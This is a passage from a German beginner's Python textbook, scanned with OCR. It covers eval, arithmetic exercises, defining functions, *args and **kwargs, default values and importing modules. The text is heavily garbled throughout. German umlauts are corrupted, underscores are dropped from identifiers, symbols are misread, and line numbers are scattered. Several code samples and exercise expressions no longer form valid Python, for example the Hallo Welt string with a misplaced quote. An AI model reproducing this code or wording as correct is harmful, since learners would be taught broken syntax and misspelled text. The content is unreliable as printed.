Rechnung, die als St ring vorliegt, ermittelt und ausgegeben werden:

1 rechnung = " (2 * 3.5+3)**2"

Dazu wird die Funktion eval verwendet. Diese erhalt als Parameter den
String mit der Rechnung und liefert dann das Ergebnis zurlick. Dieses
kann dann einer Variable zugewiesen werden:

2 ergebnis = eval (rechnung)

Zum Schluss geben wir mithilfe der Funktion print das Ergebnis aus:

3 print (ergebnis)
# Ausgabe: 100.0

Mit eval ist es auch moglich, Funktionen aufzurufen.

Beispiel 5.7.2: Wir wollen ein Hallo-Welt-Programm schreiben und dabei
die Funktion eval verwenden. Wir speichern den Code, der dafir

notwendig ist, in einer String-Variable. Da die Funktion print als
Parameter einen String erhdlt und wir den Code selbst in einer
String-Variable speichern, miuissen wir zwei verschiedene
Anflihrungszeichentypen verwenden, namlich " wund ' oder die
Anflihrungszeichen " mithilfe des Backslashs \ maskieren:

1 code = "print('Hallo Welt!'")"

Diesen Code Ubergeben nun der Funktion eval:

2 eval (code)



Als Ergebnis wird nichts zurlickgeliefert, da lediglich die print-Funktion
aufgerufen und der libergebene Inhalt ausgegeben wird.

5.8 Ubungsaufgaben

@ Was kommt bei den folgenden Rechnungen als Ergebnis heraus?
Versuche die Aufgaben zu I6sen, ohne sie in Python einzugeben.

1 12 * 12

2 2.5 + 3.5

320/ 5

49 15 = 3 & 5

58 + 10//4

6 8 + 10/4

7 20 / (5 - 4)

8 4 * 2.5 / 4

9 1//2 - 3//4

10 eval ("3 * 4 + 2.5 * 8")
11 2++*3

12 4**(8 - 5)

13 2**(8 // 2)

14 5**2 * 3

15 (8 = 5)** (27 // 9)

16 "apfel" + "baum"

17 5 * ("a" + "b")

18 "x" * 2**3

19 12 & 5
20 42 & 43

21 2**10 % 2

22 5 * 4 * 3 * 2 * 1.0
23 0 * "Florian"

24 "xyz" * (12 % 5)



(12

o

5) * (5 % 12)

@ Gegeben seien die folgenden Variablen:

1 a=2.5

2 b= -5

3 = 20

4 d = "Hallo"
5 e = "Python"

Was kommt bei den folgenden Rechnungen heraus? Gibt es auch Falle, die
nicht berechnet werden kénnen?

6 d+ """ + e

7 c %7

8 16**(a - 2)

gl d*~c

10 (b + ¢) / Db
11 20** (2 * a + b)
12 2 *» a * d

13 (¢ - b) // 7

14 e // "Python"
15 b**2 - 25

@ Setze (falls n6tig) passende Klammern, damit das angegebene Ergebnis
herauskommt:

iy 2 x 3xxD
# Ergebnis: 36
2 True or False * True

# Ergebnis: True

3 2**2 + 3 % 10
# Ergebnis: 2

4 2 + 3 // 3
# Ergebnis: 1

5 0 > 1 and True * True
# Ergebnis: True



In der folgenden Playlist findest du die Lésungen zu den Ubungsaufgaben
aus diesem Kapitel:

https://florian-dalwigk.com/python-einsteiger/|%C3%B6sungen_kapitel5


https://florian-dalwigk.com/python-einsteiger/l%C3%B6sungen_kapitel5

6 Funktionen

Ohne Funktionen wirden Programmierer am laufenden Band
undurchsichtigen Spaghetti-Code produzieren, den mit der Zeit niemand
mehr warten kann. Deshalb erfahrst du in Kapitel 6.1, was Funktionen sind
und woflir man sie Gberhaupt braucht. Danach lernst du in Kapitel 6.2, wie
man Funktionen definieren kann, wie man ihr Parameter ibergibt und wie
die innerhalb der Funktion berechneten Ergebnisse zuriickgegeben werden
konnen. In Kapitel 6.3 lernst du zwei verschiedene Arten von
Funktionsargumenten kennen, namlich *args und **kwargs. Da ein
Python-Projekt in der Regel nicht nur aus einer einzigen .py-Datei
besteht, lernst du in Kapitel 6.4, wie man Funktionen in einzelne Dateien
auslagern und dann durch einen Import in einem anderen Python-Skript
verwenden kann. Um dein Hauptprogramm von anderen unterscheiden zu
kdnnen, ist eine Anweisung hilfreich, die in Kapitel 6.5 besprochen wird. In
Kapitel 6.6 lernst du etwas Uber den Unterschied zwischen lokalen und
globalen Variablen. In Kapitel 6.7 kannst du dein neu erworbenes Wissen
in den Ubungsaufgaben tberpriifen.

6.1 Was sind Funktionen und wofiir braucht man
sie?

Den Begriff Funktion hast du in diesem Lehrbuch schon haufiger gelesen. In
Kapitel 3.2 hast du bei deinem ersten Python-Programm die print-
Funktion verwendet. In Kapitel 4.4 hast du die Funktion len
kennengelernt, mit der du dir die Lange eines Strings ausgeben lassen
kannst und in Kapitel 5.1 hat dir die Funktion round dabei geholfen,
Ergebnisse von Divisionen zu runden. Jetzt ist es an der Zeit, dass du lernst,
wie du selbst solche Funktionen programmieren kannst.

Zuvor mussen wir aber noch klaren, weshalb Funktionen U(berhaupt



genutzt werden und fir einen Programmierer so wichtig sind. Nehmen wir
als Beispiel mal die Funktion 1en. Wenn du mit ihr die Anzahl der Zeichen

indem String Kaffee ermitteln mdchtest, musst du in deinem Python-
Code nur den Funktionsaufruf len ("Kaffee") durchfihren. Im

Hintergrund passiert aber viel mehr als das. Der folgende Code, den du
jetzt noch nicht verstehen musst, gibt dir einen kleinen Einblick:

def len(string) :
lange = 0

1
2
3 for zeichen in string:
4 lange += 1

5

return lange

Wie du mit der Zeit feststellen wirst, wird die Funktion 1en ziemlich haufig
bendtigt. Mochtest du dann jedes Mal diesen Code programmieren
muissen, um an die Lange eines Strings zu kommen? Natlrlich nicht!
Und genau deshalb hat man sich auch dazu entschieden, diese
Funktionalitat auszulagern, sodass du nur die Funktion 1en aufrufen und
ihr einen String Ubergeben musst. Es ist nicht erforderlich, das Rad
immer wieder neu zu erfinden. Das wirst du vor allem in Kapitel 11 sehen,
wenn es darum geht, Funktionen zu verwenden, die in grof3en Bibliotheken
gespeichert sind.

Ein anderes Beispiel: Angenommen, du programmierst eine Anwendung,
die quadratische Gleichungen l6sen soll. In Kapitel 3.1 haben wir daftir 17
Zeilen Code bendétigt. Du mochtest den dahinterstehenden Algorithmus
dann aber nicht immer wieder neu implementieren missen, wenn du ihn
woanders in deinem Code benotigst. Nein, viel besser ware es doch, wenn
du eine Funktion mitternachsformel hattest, der du nur drei
Parameter a, b, ¢ Ubergeben musst und die daraus dann das Ergebnis
berechnet.

Was sind also die Vorteile von Funktionen?

= Sie sparen viel Zeit beim Programmieren, da du ein und dieselbe
Funktionalitat nicht mehrere Male programmieren musst. Lagere sie in



eine Funktion aus und rufe diese dann an den passenden Stellen auf.

= Du vermeidest dadurch auBerdem Code zu kopieren.

= Durch Funktionen konnen Programme besser strukturiert und in
funktionale Einheiten unterteilt werden. Dadurch behalt man den
Uberblick und muss nicht den gesamten Code in eine groRe Datei
schreiben.

= Wenn du die Namen deiner Funktionen so vergibst, dass man an ihnen
ablesen kann, was die Funktion macht, dann erleichtert das aulSerdem
die Teamarbeit. In der Regel sind grolRere Softwareprojekte wie bspw.
Die Entwicklung eines Videospiels so komplex, dass man mehrere
Experten braucht, die sich in bestimmten Bereichen sehr gut
auskennen. In Team-Meetings wird dann besprochen, welche
Funktionen bendtigt werden, was sie konnen sollen und welcher der
Experten sie zu entwickeln hat. Eine Funktion, mit der von einem Spieler
oder NPC* Lebenspunkte abgezogen werden kdonnen, wird dann einmal
implementiert und kann dann von allen genutzt werden.

= Mit Funktionen erhoht sich auBerdem die Wartbarkeit von Code.
Anderungen miissen nur an einer Stelle vorgenommen werden und
werden sofort Gberall wirksam.

= Funktionen kénnen auBerdem leichter getestet werden als Code-Stlicke,
die Uberall in einem Programm verteilt wurden. Python bietet mit
unittest sogar ein Framework an, mit dem Tests fir Programme und
Funktionen geschrieben werden kénnen.

6.2 Funktionen definieren

Deinen ersten Kontakt mit Funktionen hattest du wahrscheinlich im
Mathematikunterricht der Mittelstufe. Du weilst schon, das mit dem f (x).
Python-Funktionen sind nicht nur vom Aufbau her sehr ahnlich zum
Vorbild aus der Mathematik, sondern machen genau das, was auch eine
mathematische Funktion macht: Man gibt z. B. ein x in eine Funktion rein
und erhdlt am Ende ein Ergebnis y = f (x).

Beispiel 6.2.1: Gegeben sei die folgende Funktion:



fl)=x°

Diese nimmt eine reelle Zahl x und quadriert sie.

= f(1)=12=1

" f(-2)=(-2)"=4
= £(0.5)=0.52=0.25

Diese Funktion kann man in Python nachprogrammieren:

1 def f(x):
2 print(x**2)

Fihrt man die Funktion f£ in Python aus, dann erhdlt man dieselben
Ergebnisse wie bei dem mathematischen Vorbild:

3 £f(1) # Ergebnis: 1
4 f(-2) # Ergebnis: 4
5 £(0.5) # Ergebnis: 0.25

Beispiel 6.2.2: Gegeben sei die folgende Funktion:

gx)=2x+1
Diese nimmt eine reelle Zahl x, verdoppelt sie und addiert auf das Ergebnis
noch einmal eine 1 drauf.

s g(-D)=2-(-1)+1=-2+1=-1
= g(3)=2-3+1=6+1=7
= g(05)=2-(05)+1=1+1=2

Diese Funktion kann man in Python nachprogrammieren:

1 def g(x):
2 print(2*x+1)

Fihrt man die Funktion g in Python aus, dann erhdlt man dieselben
Ergebnisse wie bei dem mathematischen Vorbild:



3 g(-1) # Ergebnis: -1
4 g(3) # Ergebnis: 7
5 g(0.5) # Ergebnis: 2

Wie du an Beispiel 6.2.1 und Beispiel 6.2.2 gesehen hast, ist der Aufbau
von Funktionen in Python sehr dhnlich zu dem aus der Mathematik. Das
zeigt auch die folgende Code-Schablone:

def <Funktionsname> (<Parameter 1>,<Parameter 2>, ...,<Parameter
n>) :

<Anweisung 1>

<Anweisung 2>

<Anweisung 3>
return <Ergebnis>

Code-Schablone 6.2.1: Definition einer Funktion

Um eine Funktion zu schreiben, notiert man zuerst das Keyword def.
Dahinter folgt dann ein <Funktionsname>, der nicht unbedingt nur aus
einem Buchstaben bestehen muss, denn das ist eher eine Angewohnheit
der Mathematiker, um nicht so viel schreiben zu missen.’® Am besten
verwendest du aussagekraftige <Funktionsnamen>, damit du und der
Leser deines Codes es spater leichter haben. Danach kommen runde
Klammern, die du bisher bei ausnahmslos allen Funktionen gesehen hast.
In den runden Klammern werden sogenannte <Parameter> lbergeben.
Das sind Variablen, die innerhalb der Funktion in den <Anweisungen>
verarbeitet werden. Man kann auch mehrere oder keine <Parameter>
Ubergeben. Am Ende der Funktion kann man mithilfe des Keywords
return ein <Ergebnis> ,zurlickgeben”. Das ist allerdings optional,
denn manchmal reicht es, wenn eine Funktion nur etwas ausgibt. So war
das bei den bisherigen Beispielen immer der Fall.

Beispiel 6.2.3: Wir wollen eine Funktion schreiben, mit der ein Benutzer
begrilit werden kann. Als <Parameter> Ubergeben wir einen Namen,
der innerhalb einer print-Funktion ausgegeben wird:



1 def sag hallo (name) :
2 print(f"Hallo {name}!")

Diese Funktion kann nun wie folgt aufgerufen werden:

3 sag hallo("Haruka")

Die Funktion gibt dann die Nachricht Hallo Haruka! aus. Es wird
augenscheinlich nichts zurlickgegeben, da das Keyword return am Ende

fehlt. Wenn du trotzdem versuchst, das nicht vorhandene Ergebnis des
Funktionsaufrufs einer Variable zuzuweisen, dann wird in ihr der Wert
None gespeichert:

4 ergebnis = sag hallo ("Haruka")

5 print (ergebnis) # Es wird "None" ausgegeben.

Woran liegt das? Nun, jede Funktion in Python gibt etwas zurlick und wenn
du es nicht machst, dann entsteht eben ein leeres Objekt vom Datentyp
None. Das ist so ahnlich wie mit dem Pseudodatentyp void in Java.

Beispiel 6.2.4: Wir wollen eine Funktion schreiben, die keinen
<Parameter> erhalt und beim Aufruf immer nur die Antwort auf alles

ausgibt. Ja, eine Funktion benoétigt nicht zwangslaufig <Parameter> und
wie jeder weild, muss hier 42 die Antwort sein.

1 def die antwort():
2 print(42)

Wenn du einer Funktion mehrere <Parameter> Ubergeben willst,
mussen sie unterschiedliche Namen haben.

Beispiel 6.2.5: Gegeben sei die folgende Funktion zur Addition zweier
Zahlen:

1 def addieren (x, x) :

2 print (x+x)



Der Aufruf

3 addieren(2,5)

fuhrt zu der folgenden Fehlermeldung:

SyntaxkError: duplicate argument 'x' in function definition

Der Grund dafr ist, dass der Parametername x doppelt vorhanden ist.

Beispiel 6.2.6: Wir wollen eine Funktion schreiben, mit der zwei Zahlen
addiert werden konnen. Als <Parameter> werden die beiden
Summanden a und b mit einem Komma getrennt lGbergeben. Innerhalb
der Funktion wird das <Ergebnis> berechnet und anschliefend zu-
rickgegeben:

1 def addieren (a,b):
2 summe = a + b

3 return summe

Das <Ergebnis> kann in einer Variable gespeichert werden:

4 ergebnis = addieren (10,5)

In der Variable ergebnis befindet sich nun der Wert 15, der durch die
Funktion addieren berechnet wurde.

Beispiel 6.2.7: Wir wollen eine Funktion schreiben, mit der zwei Zahlen
multipliziert werden koénnen. Als <Parameter> werden die beiden

Faktoren a und b mit einem Komma getrennt Ubergeben. Innerhalb der
Funktion wird das <Ergebnis> berechnet und anschlielend
zurtickgegeben:

1 def multiplizieren(a,b):
2 produkt = a * b
3 return produkt



Du musst der Funktion beim Aufruf keine konkreten Werte Ubergeben,
sondern kannst daflir auch Variablen verwenden. Diese miissen nicht so
heiRen wie die Variablen in der Funktionsdefinition, diirfen es aber:

4 faktorl
5 faktor?2

5
7

6 ergebnis = multiplizieren (faktorl, faktor?2)

In Python ist es moglich, dass am Ende einer Funktion mehrere
<Ergebnisse> durch Kommata getrennt zurlickgegeben werden. Dabei

mussen sie nicht denselben Datentypen haben, weil sie als sogenanntes
Tupel (Kapitel 8.2) zurlickgegeben werden. Streng genommen werden
also nicht mehrere <Ergebnisse> getrennt voneinander
zuriickgegeben, sondern ein Tupel, in dem sich alle <Ergebnisse>
befinden.

Beispiel 6.2.8: Wir wollen eine Funktion schreiben, mit der zwei Zahlen
addiert und multipliziert werden konnen. Als <Parameter> werden die

beiden Zahlen a und b mit einem Komma getrennt tbergeben. Innerhalb

der Funktion werden die Summe und das Produkt der beiden Zahlen
berechnet und beide <Ergebnisse> zurickgegeben:

1 def addieren und multiplizieren(a,b):
2 summe = a + b

3 produkt = a * Db
4

return summe,produkt

Wir rufen die Funktion nun auf und speichern die Riickgabewerte in einer
Variable:

5 ergebnis = addieren und multiplizieren(5,10)

6 print (ergebnis)

Die Ausgabe lautet:

(15,50)



Die runden Klammern um die Summe und das Produkt zeigen an, dass es
sich um ein Tupel handelt. Wir kdnnen unsere Vermutung bestatigen,
indem wir die Funktion t ype aufrufen und ihr die Variable ergebnis als
<Parameter> Ubergeben:

7 type (ergebnis)

Dann erhalten wir die Bestatigung, dass es sich um ein Tupel handelt:

<class 'tuple'>

Wenn du die <Ergebnisse> nicht erst noch aus dem Tupel auslesen,
sondern direkt verwenden mochtest, dann gibst du bei der
Variablenzuweisung einfach durch ein Komma getrennt so viele Variablen
an, wie du <Ergebnisse> aus dem Funktionsaufruf erwartest. Fir
unsere Funktion addieren und multiplizieren sind das zwei,
namlich eine flr die Summe und eine fir das Produkt:

8 summe,produkt = addieren und multiplizieren (5,10)

9 print (f"Summe = {summe}\nProdukt = {produkt}")

Die Ausgabe lautet nun:

Summe = 15
Produkt = 50

Die Reihenfolge und die Anzahl der Variablen sind entscheidend.

Wenn du erstmal nur den Funktionskopf definieren mochtest, der mit dem
Keyword de f beginnt und mit einem Doppelpunkt endet, dann kannst du

das Keyword pass eingerickt notieren:

1 def funktion (x):

2 pass

Du benotigst dieses Keyword, damit es z. B. beim Funktionsaufruf nicht zu




einer IndentationError Exception kommt:

3 funktion (42)

6.3 *args und **kwargs

In den Funktionen aus Kapitel 6.2 wurden entweder keine, ein oder zwei
Parameter verwendet. Doch was ist, wenn du beim Programmieren der
Funktion noch nicht genau weil3t, wie viele Parameter benotigt werden?
Der Benutzer deiner Funktion zu viele oder zu wenige Parameter beim
Aufruf mitgibt? In diesen Fallen erhalt er eine Fehlermeldung.

Beispiel 6.3.1: Gegeben sei die Funktion multiplizieren, die drei
Zahlen a, b und ¢ miteinander multipliziert:

1 def multiplizieren(a,b,c):
2 produkt = a * b * ¢
3 return produkt

Wenn die Funktion mit zu vielen oder zu wenigen Parametern aufgerufen
wird, liefert Python eine Fehlermeldung.

4 multiplizieren(1l,2)
5 multiplizieren(1l,2,3,4)

Der Aufruf in Zeile 4 fihrt zu dem folgenden Fehler:

TypeError: multiplizieren() missing 1 required positional
argument: 'c'

Python vermisst den dritten Parameter, namlich c. Der Aufruf in Zeile 5
flihrt hingegen zu dem folgenden Fehler:

TypeError: multiplizieren() takes 3 positional arguments but 4
were given



Dieser Fehler bedeutet, dass die Funktion multiplizieren nur drei

Parameter erwartet, aber beim Aufruf vier mitgegeben wurden. Python
spricht in beiden Fehlermeldungen von ,arguments®. Das ist einfach nur
ein anderes Wort flr Parameter.

Die Losung fir das Problem mit der festen Parameteranzahl sind die
sogenannten *args. Keine Sorge! Hierbei handelt es sich nicht um

Pointer, die man aus hardwarenahen Programmiersprachen wie C kennt.
Damit ist eine variable Anzahl an Parametern gemeint, die beim Aufruf
mitgegeben werden konnen. Statt sich von Anfang an festzulegen, bleibt
man so flexibel. Man schreibt vor den Variablennamen einen Stern und
kann dann innerhalb der Funktion ghne Stern darauf zugreifen.

Beispiel 6.3.2: Wir wollen eine Funktion teilnehmer schreiben, die eine

variable Anzahl an Namen von Teilnehmern bekommt und diese dann
ausgibt. Vor den Variablennamen liste, den wir als Parameter der

Funktion teilnehmer lGbergeben, schreiben wir einen Stern, um beliebig
viele Namen beim Funktionsaufruf Gbergeben zu kbnnen:

1 def teilnehmer (*liste):
Danach geben wir die Namen mithilfe der print-Funktion aus:

2 print (f"Teilnehmer: {liste}"™)

Jetzt rufen wir die Funktion teilnehmer auf und Ubergeben ihr finf
Namen:

3 teilnehmer ("Maria", "Max", "Pia", "Lisa", "Lukas")
Die Ausgabe lautet wie folgt:
Teilnehmer: ('Maria', 'Max', 'Pia', 'Lisa', 'Lukas')

Wo kommen die runden Klammern auf einmal her? Wie schon bei den
mehreren Rickgabewerten aus Beispiel 6.2.8, sind *args nichts anderes

als Tupel, die du in Kapitel 8.2 kennenlernen wirst.



Die *args-Parameter missen hinter den sogenannten ,positional

arguments” stehen. Das sind alle Parameter, die keinen Stern vor ihrem
Namen haben. Das wird vor allem dann wichtig, wenn man Parameter mit
und ohne Stern zusammen nutzen mochte.

Beispiel 6.3.3: Wir wollen die Funktion teilnehmer aus Beispiel 6.3.2
um einen Parameter kursleiter erweitern. Hierbei handelt es sich um
den Leiter des Kurses. Dieser Parameter muss vor dem *args-Parameter
*11iste stehen, da kein Stern vor dem Variablennamen steht:

1 def teilnehmer (kursleiter,*liste) :

Danach geben wir den Namen des Kursleiters zusammen mit denen der
Teilnehmer aus:

2 print(f"Kursleiter: {kursleiter}\nTeilnehmer: {liste}")

AnschlieRend rufen wir die Funktion teilnehmer auf und libergeben ihr

zuerst den Namen des Kursleiters und danach die Namen der fiunf
Teilnehmer:

3 teilnehmer ("Mia", "Maria", "Max", "Pia", "Lisa", "Lukas")

Die Ausgabe lautet wie folgt:

Kursleiter: Mia
Teilnehmer: ('Maria', 'Max', 'Pia', 'Lisa', 'Lukas')

Was wirde denn passieren, wenn der Parameter kursleiter hinter
dem *args-Parameter *1iste stehen wirde? Dann kdnnte Python nicht
mehr mit Sicherheit sagen, wann die *args-Parameter enden und wo das
ypositional argument” steht. In diesem speziellen Fall hier ware zwar klar,
dass der Name des Kursleiters ganz hinten steht, doch auf dieses
,Ratespiel” [dsst Python sich nicht ein. Merke dir also: Zuerst kommen die
Variablen ohne Stern und dann die Variablen mit Stern.

Die *args haben dafir gesorgt, dass die Anzahl der Ubergebenen



Parameter variabel ist. Die **kwargs setzen noch einen obendrauf und
machen die Reihenfolge Uberflissig. Das kw in **kwargs steht fir

Keyword. So ein Keyword ist im Prinzip nur ein ganz normaler
Variablenname, der jedoch als Schlissel fungiert, mit dem der Wert der
Variable adressiert werden kann. Du (bergibst deiner Funktion ein oder
mehrere Paare, die wie folgt aufgebaut sind:

<Schliissel> = <Wert>

Dadurch entsteht ein sogenanntes Dictionary (Kapitel 8.4). Da jeder
Wert Gber einen Schliissel adressiert werden kann, muss keine bestimmte
Reihenfolge mehr eingehalten werden.

Beispiel 6.3.4: Wir wollen den Vornamen, den Nachnamen und das Alter
einer Person schon formatiert ausgeben. Dazu schreiben wir uns eine
Funktion datenabfrage, die einen **kwargs-Parameter **daten

erhalt:

1 def datenabfrage (**daten) :

Innerhalb der Funktion werden jetzt nacheinander alle Daten aus dem
Parameter **daten ausgelesen und Variablen zugewiesen. Dazu notiert

man zuerst den Variablennamen, ein = und ruft dann auf dem Parameter
daten die Methode get auf. Diese erhadlt den Namen der Variable, die
spater beim Funktionsaufruf als Schllissel angegeben werden wird:

2 vorname = daten.get ("vorname")
3 nachname = daten.get ("nachname")

4 alter = daten.get("alter")

Dass in den Zeilen 2 bis 4 die Variablen genauso wie die Schliissel heil3en,
ist Zufall. Sie mussen namlich nicht genauso heien. Du kdnntest auch x, y

und z verwenden. Wichtig ist nur, dass die Variablen bei der
Parameteriibergabe so heilen wie das, was man in der Methode get

eintragt. Zum Schluss werden die ausgelesenen Variablen dann noch der
print-Funktion Ubergeben:



5 print (f"{vorname} {nachname}, {alter}")

Dann rufen wir die Funktion doch mal auf:

6 datenabfrage (alter=20, vorname="Mia", nachname="Marbles")

Die Ausgabe lautet wie folgt:

Mia Marbles, 20

Doch was passiert, wenn man als Benutzer Parameter bei der Ubergabe
vergisst? Nun, dann erganzt Python Uberall dort, wo etwas fehlt, das
bereits bekannte None.

Beispiel 6.3.5: Die Funktion datenabfrage aus Beispiel 6.3.4 wird
folgendermalen aufgerufen:

6 datenabfrage (vorname="Mia", nachname="Marbles")

Offensichtlich fehlt das Alter der Person. Deshalb erganzt Python hier ein
None, was zur folgenden Ausgabe flihrt:

Mia Marbles, None

Dieses None-Problem kannst du durch sogenannte Default-Werte |6sen.
Das sind Werte, die genutzt werden, wenn nichts anderes angegeben
wurde.

Beispiel 6.3.6: Wir schreiben die Funktion datenabfrage aus Beispiel

6.3.4 so um, dass fur alle Daten ein Default-Wert existiert. Dazu notieren
wir beim Aufruf der get-Methode jeweils durch ein Komma getrennt den

Wert, der der Variable zugewiesen werden soll, wenn der Schlissel nicht
als Parameter mit tibergeben wurde:

1 def datenabfrage (**daten) :

2 vorname = daten.get ("vorname", "Max")

3 nachname = daten.get ("nachname", "Mustermann")
4

alter = daten.get ("alter",18)



5 print (f"{vorname} {nachname}, {alter}")

Wir lassen jetzt beim Aufruf wie in Beispiel 6.3.5 das Alter weg, denn es ist
ohnehin unhéflich danach zu fragen:

6 datenabfrage (vorname="Mia", nachname="Marbles")

Die Ausgabe lautet nun wie folgt:

Mia Marbles, 18

Statt None wurde hier der Default-Wert fiir das Alter ausgegeben, da

dieser Parameter nicht mit Gbergeben wurde. Wir kdnnen sogar noch
einen Schritt weitergehen und die Funktion ghne einen einzigen Parameter
aufrufen:

7 datenabfrage ()

Dort offenbaren sich dann alle festgelegten Default-Werte:

Max Mustermann, 18

Bei der Reihenfolge gilt Folgendes:

e Zuerst kommen alle Parameter ohne einen Stern.
¢ Danach kommen alle Parameter mit einem Stern.
e Zum Schluss kommen alle Parameter mit zwei Sternen.

def <Funktionsname> (<Parameter>, <*args>, <**kwargs>):

Diese Reihenfolge muss unbedingt eingehalten werden, weil Python sonst
nicht weil, was zu tun ist.

Auch Parametern ohne Stern kann man einen Default-Wert mitgeben.
Dieser wird direkt bei der Funktionsdefinition mit einem = getrennt hinter

den entsprechenden Parameter geschrieben.

Beispiel 6.3.7: Wir wollen eine Funktion schreiben, mit der ein Benutzer
begrillit werden kann. Wenn kein Name angegeben wurde, soll er



automatisch auf Max gesetzt werden. Dazu geben wir bei der
Funktionsdefinition den Default-Wert Max mit, den wir mit einem =
getrennt hinter den Parameter name schreiben:

1 def sag hallo (name="Max") :

2 print(f"Hallo {name}!")

Wir rufen die Funktion nun einmal mit und einmal ochne Namen auf:

3 sag _hallo ("Ayumi")
4 sag hallo()

Die Ausgabe lautet wie folgt:

Hallo Ayumi'!
Hallo Max!

Beim ersten Aufruf wurde der lbergebene Name verwendet und beim
zweiten auf den Default-Wert zurilickgegriffen.

6.4 Module entwickeln und einbinden

Insbesondere dann, wenn man es mit grollen Softwareprojekten zu tun
hat, muss der gesamte Code modularisiert werden. Damit ist u. a. gemeint,
dass nicht einfach alles in einer Quelltextdatei stehen darf. Ein Instrument,
um Code zu strukturieren, hast du in diesem Kapitel bereits kennengelernt,
namlich Funktionen. Jetzt gehen wir aber noch einen Schritt weiter und
lagern die Funktionen selbst in einzelne Dateien aus. Ansonsten entsteht
friher oder spater dieselbe Problematik wie ohne Funktionen: Der Code
wird unubersichtlich und irgendwann blickt niemand mehr durch. Man
kann nicht einfach hunderte Funktionen in eine Datei schreiben und
hoffen, dass schon irgendwie alles gut geht.

Doch wie kann man Funktionen aus anderen Dateien heraus aufrufen?
Dazu betrachten wir das folgende Programm, das in der Datei
taschenrechner.py abgespeichert wurde:



taschenrechner.py
def addieren (a,b):
summe = a + b

return summe

1

2

3

4

5 def subtrahieren(a,b):
6 differenz = a - b

7 return differenz

8

9 def multiplizieren(a,b):
10 produkt = a * b

11 return produkt

12

13 def dividieren(a,b) :

14 quotient = a / b

15 return quotient

Hier wurden vier verschiedene Funktionen implementiert, mit denen man
zwei Zahlen a und b addieren, subtrahieren, multiplizieren und dividieren
kann. Diese konnten bspw. im Rahmen eines Taschenrechner-Projekts zum
Einsatz kommen.

Die Datei taschenrechner.py stellt ein sogenanntes Modul dar.
Dieses Modul kann jetzt in andere Programme importiert und genutzt
werden. Aber was unterscheidet dieses Programm von anderen
Programmen, die wir bisher geschrieben haben? Nichts! Unter einem
Modul versteht man in Python nichts anderes als eine Datei, die
vorgefertigten Python-Code beinhaltet. In einem Modul dirfen neben
Funktionen auch Variablen etc. enthalten sein.

Doch wie werden Funktionen aus einem Modul in ein anderes Programm
importiert? Dafiir gibt es das Keyword import. Dahinter folgt der Name
des Moduls, das importiert werden soll:

import <Modulname>



Die import-Anweisung steht fir gewdhnlich am Anfang eines Python-
Programms. Der <Modulname> ist der Name der .py-Datei, allerdings
ohne die Dateiendung .py, die du beim Aufruf eines Python-Programms

sonst immer mit dazuschreibst. Wenn wir also die Taschenrechner-
Funktionen aus der Datei taschenrechner.py in dem Programm

hauptprogramm.py verwenden wollen, importieren wir das Modul mit
der folgenden Anweisung:

hauptprogramm. py

1 import taschenrechner

Jetzt kbnnen wir die einzelnen Funktionen aus dem Modul funktionen
so verwenden, als stiinden sie in dem Programm hauptprogramm.py.
Doch wie werden sie aufgerufen? Ganz einfach! Du notierst zuerst den
<Modulnamen>, dann einen Punkt und dahinter rufst du dann die

gewlinschte Funktion wie gehabt auf:

2
3 ergebnis = taschenrechner.addieren(2,5)

4 print (ergebnis)

In der Variable summe befindet sich nun der Wert 7, der mit der Funktion
addieren aus dem Modul taschenrechner berechnet wurde und in
Zeile 4 ausgegeben wird. Du kannst selbstverstandlich auch jede andere
Funktion verwenden.

Achte darauf, dass du vor einen Funktionsaufruf immer den Namen des
Moduls schreibst! Wenn er dir zu lang ist, kannst du ihn auch durch einen
kiirzeren ersetzen. Wie das? Nun, dafir gibt es in Python das Keyword as.

Dieses wird direkt hinter den <Modulnamen> geschrieben und darauf
folgt dann ein sogenannter Alias:

import <Modulname> as <Alias>

Code-Schablone 6.4.1: Import eines Moduls

Fortan kannst du statt des <Modulnamens> nun den <Alias>



verwenden:

hauptprogramm. py
1 import taschenrechner as tr
2
3 ergebnis = tr.addieren(2,5)

4 print (ergebnis)

Das Ergebnis bleibt gleich, namlich 7.
Du kannst das Spiel noch weitertreiben, indem du das Keyword from in
Kombination mit import nutzt:
from <Modulname> import <Funktionsnamen>
Code-Schablone 6.4.2: Import einzelner Funktionen eines Moduls

Was bewirkt das? Nun, dass du die angegebenen <Funktionsnamen>
des Moduls direkt aufrufen kannst:

hauptprogramm. py
1 from taschenrechner import addieren

2
3 ergebnis = addieren(2,5)

4 print (ergebnis)

Auch hier kommt wieder 7 heraus. Konnen wir jetzt auch die anderen
Funktionen des Moduls verwenden? Nur zu addieren ist doch langweilig:

5 differenz = subtrahieren(7,5)

Leider werden wir jetzt mit der folgenden Fehlermeldung bestraft:

NameError: name 'subtrahieren' is not defined

Warum ist das jetzt passiert? Weil du hinter dem Keyword import nur
einen <Funktionsnamen> angegeben hast, namlich addieren. Wenn



du auch die Funktion subtrahieren nutzen mochtest, musst du sie mit
einem Komma getrennt erganzen:

1 from taschenrechner import addieren, subtrahieren

Wenn du alle Funktionen des Moduls auf diese Art verwenden mdchtest,
musst du jedoch nicht alle <Funktionsnamen>

hintereinanderschreiben, sondern kannst einen Stern notieren:

1 from taschenrechner import *

Das ist jetzt so, als wiirden in der Datei hauprogramm. py auf einmal alle
Funktionen aus taschenrechner. py drinstehen.

hauptprogramm. py

1 from taschenrechner import *
2

3 a = addieren(2,5)

4 b = subtrahieren (51, 2)

5 ¢ = dividieren(a,b)

6 d = multiplizieren(7,7)

Es kommt zu keinen Fehlern, weil durch das * in Zeile 1 alle Funktionen aus
dem Modul taschenrechner quasi unsichtbar in die Datei
hauptprogramm. py hineinkopiert wurden.

Wenn dir das alles jetzt etwas zu schnell ging, kannst du dir die praktische
Arbeit mit Modulen und Funktionen noch einmal in dem folgenden Video
anschauen:



https://florian-dalwigk.com/python-einsteiger/arbeiten_mit_modulen

6.5if name == " main "

Wie du mittlerweile weit, kann man . py-Dateien auf zwei verschiedene
Arten verwenden:

1. .py-Dateien stellen ein eigenstandiges Programm dar, das direkt ausgefiihrt werden kann.
2. Man kann die .py-Dateien aber auch als Modul verwenden. Dabei handelt es sich um eine

Ansammlung von Variablen, Funktionen etc., die in andere Python-Programme importiert und
dort verwendet werden kénnen.

Betrachten wir als Beispiel mal das folgende Modul mit dem Namen
modul . py, das bisher nur die Funktion sag_hallo beinhaltet:

modul . py
1 def sag hallo (name) :
2 print(f"Hallo {name}!")

Dieses Modul importieren wir nun in eine .py-Datei, die wir
hauptprogramm.py nennen. Dort fiihren wir die Funktion
sag hallo aus:

hauptprogramm. py
1 import modul
2
3 modul.sag hallo ("Fabian")
